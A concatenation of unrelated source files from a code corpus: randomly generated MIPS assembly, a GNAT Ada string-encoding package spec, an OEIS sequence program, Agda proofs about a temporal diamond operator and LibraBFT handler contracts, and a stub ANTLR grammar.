addiu $5,$5,-31418
xori $1,$0,8728
ori $0,$2,15073
srl $1,$4,24
and $5,$0,$3
lw $1,8($0)
sltiu $5,$3,-31859
lh $3,12($0)
lbu $6,7($0)
sll $6,$6,24
subu $1,$3,$3
sh $4,6($0)
srl $4,$1,18
slti $1,$3,-6889
or $3,$3,$3
xori $3,$5,35202
subu $6,$5,$3
sllv $4,$2,$3
sll $3,$5,13
lh $4,8($0)
and $3,$1,$3
sh $1,4($0)
ori $3,$4,19542
sltiu $1,$3,-15510
srl $3,$5,27
subu $1,$1,$3
sltiu $1,$1,-29779
addu $3,$4,$3
srlv $6,$4,$3
addu $6,$6,$3
and $3,$4,$3
and $5,$5,$3
srav $1,$1,$3
lh $0,8($0)
sw $6,8($0)
addiu $3,$1,19776
lb $6,4($0)
slti $3,$3,-22230
subu $3,$4,$3
addiu $3,$3,9257
subu $5,$5,$3
addiu $2,$2,-16365
slt $4,$1,$3
srlv $3,$0,$3
addiu $0,$4,24947
andi $4,$2,55866
nor $1,$4,$3
sra $5,$3,21
sb $4,6($0)
srlv $5,$3,$3
and $5,$3,$3
subu $3,$0,$3
slti $6,$3,4462
addu $5,$1,$3
addu $3,$4,$3
sw $4,8($0)
subu $4,$3,$3
addiu $5,$3,-4708
sw $3,16($0)
sllv $4,$4,$3
lbu $3,8($0)
sh $1,6($0)
slt $3,$5,$3
addu $5,$3,$3
and $0,$3,$3
addu $4,$5,$3
ori $3,$3,8148
lh $3,2($0)
and $3,$4,$3
sltu $5,$3,$3
srav $6,$5,$3
sw $5,0($0)
nor $3,$3,$3
sh $0,12($0)
and $1,$4,$3
addu $4,$4,$3
addiu $1,$3,15103
lhu $1,12($0)
addu $1,$3,$3
xori $3,$6,62338
sh $5,4($0)
xor $4,$4,$3
andi $1,$4,52760
lb $3,0($0)
addu $4,$4,$3
sllv $3,$2,$3
addiu $3,$3,12584
subu $3,$4,$3
addiu $6,$6,-6126
or $0,$0,$3
addiu $0,$4,7025
lh $1,0($0)
subu $4,$4,$3
xor $4,$1,$3
lhu $3,6($0)
sra $1,$3,5
addu $4,$4,$3
lbu $4,0($0)
srlv $4,$4,$3
srl $3,$3,1
srl $1,$4,2
slti $3,$3,-13246
sh $5,12($0)
sh $1,0($0)
xor $4,$4,$3
addiu $5,$4,-27718
sltiu $1,$1,23547
lb $4,1($0)
and $1,$3,$3
sltu $0,$1,$3
sltiu $4,$1,334
or $6,$1,$3
xor $3,$3,$3
srl $3,$3,1
srlv $6,$6,$3
addu $3,$1,$3
sh $3,12($0)
sllv $4,$1,$3
sltiu $3,$2,23254
addiu $1,$3,26669
lh $3,14($0)
lh $5,8($0)
lb $4,9($0)
sh $4,16($0)
slti $1,$1,7629
sh $3,14($0)
nor $4,$4,$3
sllv $1,$1,$3
lhu $4,14($0)
srlv $3,$1,$3
and $3,$6,$3
srl $3,$3,19
nor $4,$0,$3
sltiu $3,$4,-11924
sltu $4,$4,$3
lw $3,0($0)
sltiu $3,$4,20292
subu $3,$4,$3
sllv $1,$2,$3
addiu $1,$3,29495
subu $6,$1,$3
or $1,$3,$3
srl $3,$6,5
sw $1,12($0)
srav $5,$3,$3
sll $4,$4,26
sltiu $5,$6,-27533
lb $3,4($0)
lbu $4,15($0)
xor $3,$4,$3
sll $1,$5,17
slt $3,$3,$3
xori $4,$4,25462
sltiu $1,$6,25607
subu $1,$4,$3
addiu $5,$6,-18173
lhu $5,0($0)
sll $3,$4,3
or $1,$5,$3
addu $1,$4,$3
sll $1,$3,17
lb $3,16($0)
sh $6,16($0)
subu $5,$5,$3
addiu $1,$4,1340
andi $3,$5,63198
lw $4,4($0)
ori $4,$3,13443
xori $4,$4,32651
subu $4,$2,$3
srav $3,$3,$3
sw $3,12($0)
xor $4,$3,$3
addiu $3,$3,771
sllv $4,$0,$3
lw $4,0($0)
sw $3,4($0)
subu $0,$4,$3
sltu $5,$0,$3
slti $3,$1,-22983
sra $6,$6,8
addu $6,$6,$3
sltiu $3,$1,-7186
sltu $5,$1,$3
or $3,$2,$3
addu $1,$4,$3
sll $4,$4,9
and $5,$2,$3
and $1,$4,$3
addiu $0,$3,22429
andi $6,$3,24975
ori $3,$4,10331
sh $4,14($0)
addu $4,$3,$3
sllv $6,$3,$3
sb $4,7($0)
sw $1,0($0)
subu $1,$4,$3
addu $4,$6,$3
sra $3,$4,8
sra $1,$3,22
lb $6,6($0)
sh $5,8($0)
addiu $3,$2,20999
addu $5,$2,$3
sb $4,0($0)
lbu $4,7($0)
addu $3,$3,$3
srl $3,$4,13
srlv $5,$5,$3
andi $4,$4,7173
sb $0,14($0)
addu $4,$3,$3
or $5,$3,$3
addiu $4,$3,32185
addu $3,$3,$3
srl $3,$3,9
sw $6,16($0)
addiu $3,$1,10662
addiu $0,$1,-12454
addiu $4,$4,30846
sra $3,$5,31
lhu $3,2($0)
lw $1,12($0)
xori $1,$5,6099
srav $3,$1,$3
andi $6,$4,29834
or $1,$1,$3
sllv $5,$5,$3
addiu $5,$4,-14398
srlv $3,$1,$3
addu $3,$3,$3
sltiu $3,$5,13352
srav $1,$4,$3
addu $3,$5,$3
lhu $5,2($0)
subu $5,$0,$3
lbu $5,7($0)
srlv $5,$3,$3
and $3,$2,$3
sh $1,6($0)
srlv $3,$2,$3
nor $4,$3,$3
xor $3,$5,$3
subu $3,$1,$3
lbu $1,7($0)
srlv $4,$4,$3
nor $3,$4,$3
sllv $6,$6,$3
sltiu $4,$3,27745
nor $1,$5,$3
srlv $3,$1,$3
sra $1,$0,30
nor $4,$3,$3
srlv $1,$1,$3
sltu $3,$4,$3
slti $6,$3,4157
sll $4,$4,29
sllv $6,$6,$3
and $0,$0,$3
lh $0,10($0)
sltiu $0,$3,-21598
slti $5,$3,-6652
addiu $1,$5,12770
sh $4,14($0)
srl $0,$3,27
xor $4,$4,$3
sra $3,$4,16
or $3,$1,$3
sra $4,$1,20
sb $5,9($0)
and $6,$5,$3
sllv $6,$6,$3
addiu $5,$2,-23047
srl $1,$1,29
nor $0,$1,$3
nor $1,$3,$3
sllv $5,$6,$3
sw $3,12($0)
sw $6,8($0)
slti $4,$3,26209
addiu $0,$5,29567
sra $0,$5,20
subu $1,$1,$3
or $3,$5,$3
nor $1,$5,$3
addu $3,$5,$3
or $5,$3,$3
sra $4,$3,8
ori $3,$5,45742
sll $0,$3,30
addiu $1,$1,-12904
nor $3,$5,$3
sra $3,$4,0
sw $6,16($0)
sllv $4,$6,$3
addu $3,$3,$3
addu $1,$1,$3
lhu $6,2($0)
nor $1,$3,$3
or $3,$0,$3
slt $0,$3,$3
addu $0,$0,$3
srav $4,$3,$3
srlv $3,$3,$3
nor $4,$4,$3
or $4,$4,$3
subu $4,$5,$3
sll $5,$6,25
subu $3,$3,$3
addu $6,$1,$3
lbu $4,1($0)
sll $4,$1,28
sll $1,$3,8
srl $5,$5,13
lh $3,10($0)
sw $5,8($0)
slt $3,$4,$3
addu $1,$3,$3
lw $3,16($0)
and $4,$4,$3
sw $5,8($0)
nor $5,$5,$3
subu $3,$3,$3
sh $6,4($0)
lw $4,4($0)
xori $5,$2,27615
addiu $0,$1,-240
sll $4,$6,21
lw $1,16($0)
sra $4,$4,29
andi $4,$0,61469
lb $4,14($0)
ori $0,$3,61262
or $1,$4,$3
lbu $4,11($0)
lh $3,14($0)
sra $4,$4,20
slti $3,$3,16534
addiu $3,$3,22588
lw $3,0($0)
sh $3,12($0)
lw $3,8($0)
andi $4,$4,31431
subu $0,$0,$3
addiu $5,$5,15656
srav $3,$3,$3
addu $0,$0,$3
lb $3,9($0)
nor $4,$6,$3
lb $4,8($0)
or $4,$5,$3
ori $5,$0,54245
subu $4,$5,$3
srav $5,$3,$3
ori $1,$4,7881
and $1,$4,$3
sw $3,0($0)
lw $3,12($0)
xori $5,$5,49099
xor $4,$3,$3
lh $3,2($0)
sll $4,$6,7
sllv $3,$5,$3
lhu $5,10($0)
subu $3,$2,$3
andi $4,$5,29854
lb $3,2($0)
ori $0,$3,39875
xori $4,$1,15466
sw $6,4($0)
lh $4,16($0)
xor $4,$4,$3
sw $4,12($0)
lh $4,14($0)
addu $3,$2,$3
addiu $0,$6,-19891
srav $3,$4,$3
sll $3,$5,2
lbu $5,14($0)
xor $5,$1,$3
slti $3,$3,-11601
addiu $3,$3,-6749
sltu $4,$4,$3
andi $5,$3,62569
sra $4,$0,31
xor $1,$4,$3
andi $4,$5,63827
andi $4,$4,18380
sll $3,$2,7
srav $1,$3,$3
sb $5,11($0)
nor $3,$5,$3
subu $5,$1,$3
srav $4,$1,$3
subu $3,$3,$3
srlv $3,$0,$3
addiu $1,$4,30559
xor $1,$5,$3
sb $3,8($0)
lw $4,8($0)
or $0,$0,$3
xor $5,$1,$3
and $3,$3,$3
addu $4,$3,$3
sra $1,$1,15
srav $4,$0,$3
sw $5,8($0)
and $6,$3,$3
addiu $3,$3,-6748
addiu $3,$3,2103
nor $4,$1,$3
subu $4,$1,$3
or $6,$1,$3
xor $5,$5,$3
sllv $1,$1,$3
sltiu $4,$0,-6193
sh $4,16($0)
xor $4,$3,$3
addiu $1,$1,-9590
slti $4,$1,19619
srav $0,$3,$3
nor $3,$3,$3
addiu $5,$6,23935
srav $4,$1,$3
slti $4,$1,-12824
subu $0,$0,$3
slti $1,$3,-13460
sb $4,8($0)
and $4,$1,$3
slti $1,$1,6814
lw $5,12($0)
slt $5,$3,$3
sh $1,6($0)
srl $4,$3,4
slt $3,$3,$3
lb $4,7($0)
lbu $4,15($0)
srl $3,$3,21
sw $3,16($0)
sw $1,12($0)
srav $4,$4,$3
and $3,$6,$3
sw $5,0($0)
sb $3,7($0)
subu $1,$0,$3
lb $0,1($0)
xor $1,$3,$3
nor $0,$4,$3
srl $3,$1,30
srlv $4,$5,$3
andi $3,$5,17291
subu $5,$3,$3
lb $4,9($0)
and $3,$3,$3
sllv $4,$3,$3
subu $3,$3,$3
sra $3,$3,19
sltu $5,$6,$3
lb $4,3($0)
srl $5,$3,12
subu $4,$6,$3
addu $6,$3,$3
srav $0,$3,$3
srl $5,$3,10
or $4,$4,$3
ori $3,$2,39745
ori $5,$5,54789
subu $3,$4,$3
sltiu $3,$3,-19404
sll $4,$5,18
ori $3,$1,703
sllv $3,$4,$3
nor $5,$4,$3
lw $5,8($0)
sll $1,$4,30
sh $1,8($0)
sra $4,$6,0
ori $1,$1,54117
sllv $6,$6,$3
addiu $4,$2,8160
or $5,$5,$3
lh $0,12($0)
sltu $6,$6,$3
sltiu $1,$1,-30375
sllv $3,$3,$3
srl $4,$4,12
lw $6,16($0)
srl $4,$6,16
lb $3,0($0)
sra $3,$3,27
sw $3,16($0)
addu $4,$4,$3
addiu $1,$1,-26328
slt $1,$1,$3
sllv $3,$3,$3
sh $0,10($0)
srlv $1,$4,$3
lh $6,6($0)
xor $4,$5,$3
sltiu $6,$5,-10845
addu $1,$4,$3
and $5,$5,$3
lh $4,6($0)
srlv $3,$3,$3
sllv $3,$0,$3
and $5,$5,$3
lbu $5,7($0)
srlv $3,$3,$3
slt $5,$4,$3
lhu $0,12($0)
srlv $5,$5,$3
sh $4,12($0)
subu $4,$2,$3
sh $3,4($0)
xor $5,$4,$3
sra $3,$4,28
addu $5,$4,$3
lbu $4,2($0)
addiu $3,$3,-31059
addu $4,$4,$3
addiu $4,$4,26217
|
Validation/pyFrame3DD-master/gcc-master/gcc/ada/libgnat/g-encstr.ads | djamal2727/Main-Bearing-Analytical-Model | 0 | 15628 | <filename>Validation/pyFrame3DD-master/gcc-master/gcc/ada/libgnat/g-encstr.ads
------------------------------------------------------------------------------
-- --
-- GNAT RUN-TIME COMPONENTS --
-- --
-- G N A T . E N C O D E _ S T R I N G --
-- --
-- S p e c --
-- --
-- Copyright (C) 2007-2020, AdaCore --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- As a special exception under Section 7 of GPL version 3, you are granted --
-- additional permissions described in the GCC Runtime Library Exception, --
-- version 3.1, as published by the Free Software Foundation. --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
-- This generic package provides utility routines for converting from
-- Wide_String or Wide_Wide_String to encoded String using a specified
-- encoding convention, which is supplied as the generic parameter. If
-- this parameter is a known at compile time constant (e.g. a constant
-- defined in System.WCh_Con), the instantiation is specialized so that
-- it applies only to this specified coding.
-- Note: this package is only about encoding sequences of 16- or 32-bit
-- characters into a sequence of 8-bit codes. It knows nothing at all about
-- the character encodings being used for the input Wide_Character and
-- Wide_Wide_Character values, although some of the encoding methods (notably
-- JIS and EUC) have built in assumptions about the range of possible input
-- code values. Most often the input will be Unicode/ISO-10646 as specified by
-- the Ada RM, but this package does not make any assumptions about the
-- character coding, and in the case of UTF-8 all possible code values can be
-- encoded. See also the packages Ada.Wide_[Wide_]Characters.Unicode for
-- unicode specific functions.
-- Note on brackets encoding (WCEM_Brackets). On input, upper half characters
-- can be represented as ["hh"] but the routines in this package will only use
-- brackets encodings for codes higher than 16#FF#, so upper half characters
-- will be output as single Character values.
with System.WCh_Con;
generic
Encoding_Method : System.WCh_Con.WC_Encoding_Method;
package GNAT.Encode_String is
pragma Pure;
function Encode_Wide_String (S : Wide_String) return String;
pragma Inline (Encode_Wide_String);
-- Encode the given Wide_String, returning a String encoded using the
-- given encoding method. Constraint_Error will be raised if the encoding
-- method cannot accommodate the input data.
procedure Encode_Wide_String
(S : Wide_String;
Result : out String;
Length : out Natural);
-- Encode the given Wide_String, storing the encoded string in Result,
-- with Length being set to the length of the encoded string. The caller
-- must ensure that Result is long enough (see useful constants defined
-- in System.WCh_Con: WC_Longest_Sequence, WC_Longest_Sequences). If the
-- length of Result is insufficient Constraint_Error will be raised.
-- Constraint_Error will also be raised if the encoding method cannot
-- accommodate the input data.
function Encode_Wide_Wide_String (S : Wide_Wide_String) return String;
pragma Inline (Encode_Wide_Wide_String);
-- Same as above function but for Wide_Wide_String input
procedure Encode_Wide_Wide_String
(S : Wide_Wide_String;
Result : out String;
Length : out Natural);
-- Same as above procedure, but for Wide_Wide_String input
procedure Encode_Wide_Character
(Char : Wide_Character;
Result : in out String;
Ptr : in out Natural);
pragma Inline (Encode_Wide_Character);
-- This is a lower level procedure that encodes the single character Char.
-- The output is stored in Result starting at Result (Ptr), and Ptr is
-- updated past the stored value. Constraint_Error is raised if Result
-- is not long enough to accommodate the result, or if the encoding method
-- specified does not accommodate the input character value, or if Ptr is
-- outside the bounds of the Result string.
procedure Encode_Wide_Wide_Character
(Char : Wide_Wide_Character;
Result : in out String;
Ptr : in out Natural);
-- Same as above procedure but with Wide_Wide_Character input
end GNAT.Encode_String;
|
programs/oeis/040/A040762.asm | karttu/loda | 1 | 27857 | ; A040762: Continued fraction for sqrt(791).
; 28,8,56,8,56,8,56,8,56,8,56,8,56,8,56,8,56,8,56,8,56,8,56,8,56,8,56,8,56,8,56,8,56,8,56,8,56,8,56,8,56,8,56,8,56,8,56,8,56,8,56,8,56,8,56,8,56,8,56,8,56,8,56,8,56,8,56,8,56,8,56,8,56,8,56
sub $0,1
mod $0,2
mul $0,11
add $0,2
pow $0,2
mov $1,$0
sub $1,4
div $1,13
mul $1,4
add $1,8
|
src/TemporalOps/Diamond/JoinLemmas.agda | DimaSamoz/temporal-type-systems | 4 | 3043 | <filename>src/TemporalOps/Diamond/JoinLemmas.agda
{- Definition of join for ◇ and associated lemmas. -}
module TemporalOps.Diamond.JoinLemmas where
open import CategoryTheory.Categories
open import CategoryTheory.Instances.Reactive
open import CategoryTheory.Functor
open import CategoryTheory.NatTrans
open import CategoryTheory.Monad
open import TemporalOps.Common
open import TemporalOps.Next
open import TemporalOps.Delay
open import TemporalOps.Diamond.Functor
open import TemporalOps.Diamond.Join
import Relation.Binary.PropositionalEquality as ≡
open import Data.Product
open import Relation.Binary.HeterogeneousEquality as ≅
using (_≅_ ; ≅-to-≡ ; ≡-to-≅ ; cong₂)
open import Data.Nat.Properties
using (+-identityʳ ; +-comm ; +-suc ; +-assoc)
open import Holes.Term using (⌞_⌟)
open import Holes.Cong.Propositional
-- | Auxiliary lemmas
-- Equality of two delayed values
◇-≅ : ∀{A : τ}{n n′ k k′ : ℕ}
-> {v : delay A by k at n} {v′ : delay A by k′ at n′}
-> (pk : k ≡ k′) (pn : n ≡ n′)
-> v ≅ v′
-> _≅_ {A = ◇ A at n} (k , v)
{B = ◇ A at n′} (k′ , v′)
◇-≅ refl refl ≅.refl = ≅.refl
-- | Lemmas involving μ
-- Two consecutive shifts can be composed
μ-shift-comp : ∀{A} {n k l : ℕ} {a : ◇ A at n}
-> μ-shift l (k + n) (μ-shift {A} k n a)
≅ μ-shift {A} (l + k) n a
μ-shift-comp {A} {n} {k} {l} {j , v} =
begin
μ-shift l (k + n) (μ-shift k n (j , v))
≡⟨⟩
μ-shift l (k + n) (k + j , v′)
≡⟨⟩
l + (k + j) , rew (sym (delay-+ l (k + j) (k + n))) v′
≅⟨ ◇-≅ (sym (+-assoc l k j)) ((sym (+-assoc l k n))) pr ⟩
(l + k) + j , rew (sym (delay-+ (l + k) j n)) v
≡⟨⟩
μ-shift (l + k) n (j , v)
∎
where
open ≅.≅-Reasoning
v′ : delay A by (k + j) at (k + n)
v′ = rew (sym (delay-+ k j n)) v
v≅v′ : v ≅ v′
v≅v′ = rew-to-≅ (sym (delay-+ k j n))
pr : rew (sym (delay-+ l (k + j) (k + n))) v′
≅ rew (sym (delay-+ (l + k) j n)) v
pr = delay-assoc-sym l k j n v′ v (≅.sym v≅v′)
private module μ = _⟹_ μ-◇
open ≅.≅-Reasoning
-- Shift and multiplication can be interchanged
μ-interchange : ∀{A}{n k : ℕ}{a : ◇ ◇ A at n}
-> μ.at A (k + n) (μ-shift k n a)
≅ μ-shift k n (μ.at A n a)
μ-interchange {A} {n} {k} {l , y} with inspect (compareLeq l n)
μ-interchange {A} {.(l + m)} {k} {l , v} | snd==[ .l + m ] with≡ pf =
begin
μ.at A (k + (l + m)) (μ-shift k (l + m) (l , v))
≡⟨⟩
μ.at A (k + (l + m)) (k + l , rew (sym (delay-+ k l (l + m))) v)
≡⟨⟩
μ-compare A (k + (l + m)) (k + l) v′ (compareLeq (k + l) (k + (l + m)))
≅⟨
≅-cong₃ (λ x y z → μ-compare A x (k + l) y z)
(≡-to-≅ (sym (+-assoc k l m))) v′≅v″ (compare-snd-+-assoc l m k pf)
⟩
μ-compare A ((k + l) + m) (k + l) v″ (snd==[ (k + l) + m ])
≡⟨⟩
μ-shift (k + l) m ⌞ rew (delay-+-left0 (k + l) m) v″ ⌟
≡⟨ cong! (pr k l m v″ v v″≅v) ⟩
μ-shift (k + l) m (rew (delay-+-left0 l m) v)
≅⟨ ≅.sym ( μ-shift-comp {A} {m} {l} {k} {(rew (delay-+-left0 l m) v)} ) ⟩
μ-shift k (l + m) (μ-shift l m (rew (delay-+-left0 l m) v))
≡⟨⟩
μ-shift k (l + m) (μ-compare A (l + m) l v ⌞ snd==[ l + m ] ⌟)
≡⟨ cong! (sym pf) ⟩
μ-shift k (l + m) (μ-compare A (l + m) l v (compareLeq l (l + m)))
≡⟨⟩
μ-shift k (l + m) (μ.at A (l + m) (l , v))
∎
where
v′ : delay ◇ A by (k + l) at (k + (l + m))
v′ = rew (sym (delay-+ k l (l + m))) v
v≅v′ : v ≅ v′
v≅v′ = rew-to-≅ (sym (delay-+ k l (l + m)))
lemma-assoc : ∀{A : τ} -> (a b c : ℕ)
-> delay ◇ A by (a + b) at (a + (b + c))
≡ delay ◇ A by (a + b) at ((a + b) + c)
lemma-assoc a b c rewrite sym (+-assoc a b c) = refl
v″ : delay ◇ A by (k + l) at ((k + l) + m)
v″ = (rew (lemma-assoc k l m) v′)
v′≅v″ : v′ ≅ v″
v′≅v″ = rew-to-≅ (lemma-assoc k l m)
v″≅v : v″ ≅ v
v″≅v = ≅.trans (≅.sym v′≅v″) (≅.sym v≅v′)
pr : ∀{A} (k l m : ℕ) -> Proof-≡ (delay-+-left0 {A} (k + l) m)
(delay-+-left0 {A} l m)
pr zero l m v .v ≅.refl = refl
pr (suc k) l m = pr k l m
-- l = n + suc j
μ-interchange {A} {.n} {k} {.(n + suc l) , v} | fst==suc[ n + l ] with≡ pf =
begin
μ.at A (k + n) (μ-shift k n (n + suc l , v))
≡⟨⟩
μ.at A (k + n) (k + (n + suc l) , rew (sym (delay-+ k (n + suc l) n)) v)
≡⟨⟩
μ-compare A (k + n) (k + (n + suc l)) v′ (compareLeq (k + (n + suc l)) (k + n))
≅⟨ ≅-cong₃ ((λ x y z → μ-compare A (k + n) x y z))
(≡-to-≅ (sym (+-assoc k n (suc l)))) v′≅v″ (compare-fst-+-assoc n l k pf) ⟩
μ-compare A (k + n) ((k + n) + suc l) v″ fst==suc[ (k + n) + l ]
≡⟨⟩
(k + n) + suc l , rew (delay-⊤ (k + n) l) top.tt
≅⟨ ◇-≅ (+-assoc k n (suc l)) refl (pr n k l) ⟩
k + (n + suc l) , rew (sym (delay-+ k (n + suc l) n)) (rew (delay-⊤ n l) top.tt)
≡⟨⟩
μ-shift k n (n + suc l , rew (delay-⊤ n l) top.tt)
≡⟨⟩
μ-shift k n (μ-compare A n (n + suc l) v ⌞ fst==suc[ n + l ] ⌟)
≡⟨ cong! (sym pf) ⟩
μ-shift k n (μ-compare A n (n + suc l) v (compareLeq (n + suc l) n))
≡⟨⟩
μ-shift k n (μ.at A n (n + suc l , v))
∎
where
v′ : delay ◇ A by (k + (n + suc l)) at (k + n)
v′ = (rew (sym (delay-+ k (n + suc l) n)) v)
lemma-assoc : ∀{A : τ} -> (a b c : ℕ)
-> delay ◇ A by (a + (b + c)) at (a + b)
≡ delay ◇ A by ((a + b) + c) at (a + b)
lemma-assoc {A} a b c rewrite sym (+-assoc a b c) = refl
v″ : delay ◇ A by ((k + n) + suc l) at (k + n)
v″ = (rew (lemma-assoc k n (suc l)) v′)
v′≅v″ : v′ ≅ v″
v′≅v″ = rew-to-≅ (lemma-assoc k n (suc l))
pr : ∀{A} (n k l : ℕ)
-> rew (delay-⊤ {A} (k + n) l) top.tt
≅ rew (sym (delay-+ {A} k (n + suc l) n)) (rew (delay-⊤ n l) top.tt)
pr n zero l = ≅.refl
pr n (suc k) l = pr n k l
|
src/LibraBFT/Impl/IO/OBM/Properties/InputOutputHandlers.agda | LaudateCorpus1/bft-consensus-agda | 0 | 1781 | <filename>src/LibraBFT/Impl/IO/OBM/Properties/InputOutputHandlers.agda
{- Byzantine Fault Tolerant Consensus Verification in Agda, version 0.9.
Copyright (c) 2021, Oracle and/or its affiliates.
Licensed under the Universal Permissive License v 1.0 as shown at https://opensource.oracle.com/licenses/upl
-}
open import LibraBFT.Base.Types
open import LibraBFT.Concrete.Records
open import LibraBFT.Concrete.System
open import LibraBFT.Concrete.System.Parameters
open import LibraBFT.Impl.Consensus.Network as Network
open import LibraBFT.Impl.Consensus.Network.Properties as NetworkProps
open import LibraBFT.Impl.Consensus.RoundManager as RoundManager
open import LibraBFT.Impl.Consensus.RoundManager.Properties
open import LibraBFT.Impl.IO.OBM.InputOutputHandlers
open import LibraBFT.Impl.OBM.Logging.Logging
open import LibraBFT.Impl.Properties.Util
open import LibraBFT.ImplShared.Base.Types
open import LibraBFT.ImplShared.Consensus.Types
open import LibraBFT.ImplShared.Interface.Output
open import LibraBFT.ImplShared.NetworkMsg
open import LibraBFT.ImplShared.Util.Dijkstra.All
open import Optics.All
open import Util.Prelude
open import Yasm.System ℓ-RoundManager ℓ-VSFP ConcSysParms
open Invariants
open RoundManagerTransProps
module LibraBFT.Impl.IO.OBM.Properties.InputOutputHandlers where
module epvvSpec where
contract
: ∀ pre Post
→ let ep = pre ^∙ pssSafetyData-rm ∙ sdEpoch
vv = pre ^∙ rmEpochState ∙ esVerifier in
(Post (ep , vv) pre [])
→ LBFT-weakestPre epvv Post pre
contract pre Post pf ._ refl ._ refl ._ refl ._ refl = pf
module handleProposalSpec (now : Instant) (pm : ProposalMsg) where
open handleProposal now pm
module _ (pool : SentMessages) (pre : RoundManager) where
open Invariants.Reqs (pm ^∙ pmProposal) (pre ^∙ lBlockTree)
record Contract (_ : Unit) (post : RoundManager) (outs : List Output) : Set where
constructor mkContract
field
-- General properties / invariants
rmInv : Preserves RoundManagerInv pre post
invalidProposal : ¬ (BlockId-correct (pm ^∙ pmProposal)) → pre ≡ post × OutputProps.NoVotes outs
noEpochChange : NoEpochChange pre post
-- Voting
voteAttemptCorrect : BlockId-correct (pm ^∙ pmProposal)
→ NoHC1 → Voting.VoteAttemptCorrectWithEpochReq pre post outs (pm ^∙ pmProposal)
-- voteBuildsOnRC : TODO-2: We will need to know that, if we're sending a Vote, then there
-- is a Block b such that the Vote's proposed id is bId B and there
-- is a RecordChain (B b) and all the Records in that RecordChain
-- are InSys. This is needed to prove ImplObligation-RC. However,
-- before doing so, it may be worth considering strengthening the
-- Concrete PreferredRound proof, so that only IsValidVote is
-- required of the implementation, and that is used to construct
-- the required RecordChain, independently of the implementation.
-- QCs
outQcs∈RM : QCProps.OutputQc∈RoundManager outs post
qcPost : QCProps.∈Post⇒∈PreOr (_QC∈NM (P pm)) pre post
contract : LBFT-weakestPre (handleProposal now pm) Contract pre
contract =
epvvSpec.contract pre Post-epvv contract-step₁
where
Post-epvv : LBFT-Post (Epoch × ValidatorVerifier)
Post-epvv = RWS-weakestPre-bindPost unit (λ where (myEpoch , vv) → step₁ myEpoch vv) Contract
myEpoch = pre ^∙ pssSafetyData-rm ∙ sdEpoch
vv = pre ^∙ rmEpochState ∙ esVerifier
contractBail : ∀ outs → OutputProps.NoMsgs outs → Contract unit pre outs
contractBail outs noMsgs =
mkContract reflPreservesRoundManagerInv (const $ refl , OutputProps.NoMsgs⇒NoVotes outs noMsgs) (reflNoEpochChange{pre})
vac outQcs∈RM qcPost
where
vac : BlockId-correct (pm ^∙ pmProposal) → NoHC1 → Voting.VoteAttemptCorrectWithEpochReq pre pre outs (pm ^∙ pmProposal)
vac _ _ = Voting.mkVoteAttemptCorrectWithEpochReq
(Voting.voteAttemptBailed outs (OutputProps.NoMsgs⇒NoVotes outs noMsgs)) tt
outQcs∈RM : QCProps.OutputQc∈RoundManager outs pre
outQcs∈RM = QCProps.NoMsgs⇒OutputQc∈RoundManager outs pre noMsgs
qcPost : QCProps.∈Post⇒∈PreOr _ pre pre
qcPost qc = Left
contract-step₁ : Post-epvv (myEpoch , vv) pre []
proj₁ (contract-step₁ (myEpoch@._ , vv@._) refl) (inj₁ e) pp≡Left =
contractBail _ refl
proj₁ (contract-step₁ (myEpoch@._ , vv@._) refl) (inj₂ i) pp≡Left =
contractBail _ refl
proj₂ (contract-step₁ (myEpoch@._ , vv@._) refl) unit pp≡Right =
processProposalMsgMSpec.contract now pm proposalId≡ pre Contract pf
where
sdEpoch≡ : pre ^∙ pssSafetyData-rm ∙ sdEpoch ≡ pm ^∙ pmProposal ∙ bEpoch
sdEpoch≡
with processProposalSpec.contract pm myEpoch vv
...| con rewrite pp≡Right = sym (proj₁ con)
proposalId≡ : BlockId-correct (pm ^∙ pmProposal)
proposalId≡
with processProposalSpec.contract pm myEpoch vv
...| con rewrite pp≡Right = proj₂ con
module PPM = processProposalMsgMSpec now pm proposalId≡
pf : RWS-Post-⇒ (PPM.Contract pre) Contract
pf unit st outs con =
mkContract PPMSpec.rmInv (λ x → ⊥-elim (x proposalId≡)) PPMSpec.noEpochChange
vac PPMSpec.outQcs∈RM PPMSpec.qcPost
where
module PPMSpec = processProposalMsgMSpec.Contract con
vac : BlockId-correct (pm ^∙ pmProposal) → NoHC1
→ Voting.VoteAttemptCorrectWithEpochReq pre st outs (pm ^∙ pmProposal)
vac _ nohc = Voting.mkVoteAttemptCorrectWithEpochReq (PPMSpec.voteAttemptCorrect nohc)
(Voting.voteAttemptEpochReq! (PPMSpec.voteAttemptCorrect nohc) sdEpoch≡)
contract! : LBFT-Post-True Contract (handleProposal now pm) pre
contract! = LBFT-contract (handleProposal now pm) Contract pre contract
module handleVoteSpec (now : Instant) (vm : VoteMsg) where
open handleVote now vm
module _ (pool : SentMessages) (pre : RoundManager) where
record Contract (_ : Unit) (post : RoundManager) (outs : List Output) : Set where
constructor mkContract
field
-- General properties / invariants
rmInv : Preserves RoundManagerInv pre post
noEpochChange : NoEpochChange pre post
noSDChange : NoSafetyDataChange pre post
-- Output
noVotes : OutputProps.NoVotes outs
-- Signatures
outQcs∈RM : QCProps.OutputQc∈RoundManager outs post
qcPost : QCProps.∈Post⇒∈PreOr (_QC∈NM (V vm)) pre post
-- TODO-2: `handleVote` can create a new QC once it receives enough
-- votes. We need to be tracking /votes/ here, not QCs
postulate -- TODO-2: prove (waiting on: refinement of `Contract`)
contract : LBFT-weakestPre (handleVote now vm) Contract pre
contract! : LBFT-Post-True Contract (handleVote now vm) pre
contract! = LBFT-contract (handleVote now vm) Contract pre contract
|
2020_notebooks/Assignments/assignment_4/src/PL.g4 | blended-learning/compilers | 0 | 7419 | grammar PL;
@header {
package mygrammar;
}
/* =============================
COMPLETE THE FOLLOWING GRAMMAR
============================= */
program : ID
;
ID : ('a' .. 'z')+ ;
Whitespace : [ \t\r\n]+ -> skip;
|
